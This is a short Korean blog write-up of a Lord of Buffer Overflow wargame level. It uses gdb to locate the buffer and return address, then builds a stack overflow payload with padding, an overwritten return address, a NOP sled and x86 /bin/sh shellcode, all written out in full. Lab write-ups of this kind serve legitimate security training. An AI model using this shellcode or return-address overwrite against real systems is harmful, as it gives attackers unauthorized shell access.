문제풀다가 모르고 코드 파일을 삭제해버려서 다른 사람껄로 대체한다.
대충 프로그램 실행할 때 인자에서 48번째 문자가 \xbf 여야한다는 것 같다.]
gdb로 뜯어보자.
strcpy 쪽에 bp를 걸고 buffer와 ret 까지 확인할 수 있을 것이다.
하지만 "\xbf"를 우회해줘야 하기 때문에 문자 갯수를 맞춰서 넘겨주자.
buffer = 0xbffffac0
ret = 0xbffffaec
페이로드는 우선 "A"*44 + shellcode_addr + NOP + "shell" 이렇게 할 것이다.
페이로드를 짜보자.
"A"*44 + "\xf0\xfa\xff\xbf" + "\x90"*1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
와~~~
'LOB > WriteUp' 카테고리의 다른 글
LOB - level6 [wolfman -> darkelf] (0) | 2021.05.20 |
---|---|
LOB - level5 [orc -> wolfman] (0) | 2021.05.20 |
LOB - level3 [cobolt -> goblin] (0) | 2021.05.20 |
LOB - level2 [gremlin -> cobolt] (0) | 2021.05.14 |
LOB - level1 [gate -> gremlin] (0) | 2021.05.14 |